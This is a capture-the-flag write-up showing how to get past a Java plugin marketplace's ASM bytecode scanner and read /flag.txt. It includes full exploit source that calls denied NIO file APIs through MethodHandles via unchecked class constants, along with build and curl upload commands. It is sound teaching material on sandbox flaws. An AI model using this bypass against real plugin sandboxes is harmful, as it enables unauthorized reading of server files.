$ cat writeup.md…
$ cat writeup.md…
avitoctf
Task: A Java plugin marketplace scans uploaded JAR bytecode before sandboxed execution, while the goal is to read /flag.txt. Solution: unchecked class LDC constants and allowed MethodHandles dynamically invoke denied NIO file APIs.
Крупнейший маркетплейс для пчёл открыл партнёрскую бету B2Bee. Продавцы загружают Java-плагины, рассчитывающие скидки и бонусы для корзины. Перед запуском каждый JAR статически проверяет ревью-пчела, а сам плагин исполняется в карантине. Обойдите проверку и получите
/flag.txt.
The application accepts third-party Java discount plugins. The objective is to pass its ASM-based static review, execute inside the quarantine, read the target file, and return its contents through the plugin result.
Same-origin application reconnaissance identified:
GET /examples/plugin-example.zip, containing example source and plugin-api-stubs.jar;GET /api/shop, providing the sample cart;POST /api/plugins/run, which uploads, scans, and executes a plugin.The stubs show that a plugin implements ru.avitoctf.marketplugins.api.DiscountPlugin:
PluginResult apply(PluginContext context) throws Exception;
PluginResult is a record containing (int discountPercent, int bonusPoints, String message). The frontend places message verbatim in the result view, making it a direct output channel.
The execution endpoint expects these multipart fields:
plugin: the JAR file;entryClass: the binary class name;cartId: a predefined cart identifier, such as starter.PluginScanner uses ASM's tree API. It applies SandboxPolicy.checkOwner() to:
MethodInsnNode owner;FieldInsnNode owner;NEW, ANEWARRAY, and CHECKCAST TypeInsnNodes.It also rejects invokedynamic, ConstantDynamic, Handle, and method-type Type values loaded by LDC. The important omission is in inspectConstant():
if (value instanceof Type type) { if (type.getSort() == Type.METHOD) { throw new SandboxException(...); } }
An ordinary class-valued LDC, such as Path.class, is therefore accepted without passing its owner through the policy.
The second flaw is the broad allowlist prefix java/lang. It unintentionally includes the complete java/lang/invoke package. Direct references whose instruction owner begins with java/nio/file are denied, but calls to MethodHandles, MethodType, and MethodHandle are permitted.
Together, these mistakes allow the plugin to:
Path.class, Paths.class, and Files.class as unchecked ordinary class constants.MethodType calls.MethodHandles.Lookup.MethodHandle.invokeWithArguments().The source imports NIO classes, but imports have no standalone runtime representation. What matters is how javac emits each use.
The compiled exploit has only these relevant properties:
LDC constants;java/lang, chiefly java/lang/invoke;java/lang/Class, java/lang/Object, and java/lang/String owners;Paths.get remains typed as Object, avoiding CHECKCAST java/nio/file/Path;CHECKCAST java/lang/String;invokedynamic, Handle, ConstantDynamic, or method-type LDC is present.Compiling with -XDstringConcat=inline also prevents accidental string-concatenation invokedynamic instructions.
The complete plugin source is:
package exploit; import java.lang.invoke.MethodHandle; import java.lang.invoke.MethodHandles; import java.lang.invoke.MethodType; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import ru.avitoctf.marketplugins.api.DiscountPlugin; import ru.avitoctf.marketplugins.api.PluginContext; import ru.avitoctf.marketplugins.model.PluginResult; public final class FlagPlugin implements DiscountPlugin { @Override public PluginResult apply(PluginContext context) throws Exception { try { MethodHandles.Lookup lookup = MethodHandles.lookup(); MethodType pathsGetType = MethodType.methodType( Path.class, new Class<?>[]{String.class, String[].class} ); MethodHandle pathsGet = lookup .findStatic(Paths.class, "get", pathsGetType) .asFixedArity(); Object path = pathsGet.invokeWithArguments( new Object[]{"/flag.txt", new String[0]} ); MethodType readStringType = MethodType.methodType( String.class, new Class<?>[]{Path.class} ); MethodHandle readString = lookup.findStatic( Files.class, "readString", readStringType ); Object contents = readString.invokeWithArguments(new Object[]{path}); return new PluginResult(0, 0, (String) contents); } catch (Throwable failure) { return new PluginResult(0, 0, failure.toString()); } } }
Keeping the exception text in message provided useful runtime diagnostics while retaining scanner-safe bytecode.
The first uploaded JAR passed static review but failed during invocation with:
java.lang.ClassCastException: Cannot cast [Ljava.lang.String; to java.lang.String
Paths.get(String, String...) is a Java varargs method. A handle returned for it is a variable-arity handle, so invokeWithArguments tried to apply its own argument adaptation to the supplied String[]. Calling .asFixedArity() on the resolved handle made the array an ordinary second argument and fixed the invocation. This correction still uses only the permitted java/lang/invoke/MethodHandle owner.
From the task directory, compile against the downloaded API stubs and package only the exploit class:
mkdir -p build/classes javac --release 21 -XDstringConcat=inline \ -cp plugin-example/plugin-api-stubs.jar \ -d build/classes FlagPlugin.java jar cf flag-plugin.jar -C build/classes .
javap -c -verbose build/classes/exploit/FlagPlugin.class can be used before upload to verify that forbidden NIO names appear only in class constants and that no forbidden dynamic instruction was emitted.
Upload the JAR, explicitly select the implementation class, and use the predefined cart:
curl \ -F '[email protected];type=application/java-archive' \ -F 'entryClass=exploit.FlagPlugin' \ -F 'cartId=starter' \ 'https://marketplugins-qulcg67k.avitoctf.ru/api/plugins/run'
The server accepted the JAR, executed it in quarantine, and returned a successful plugin-result response. Its result.message contained the requested file contents.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar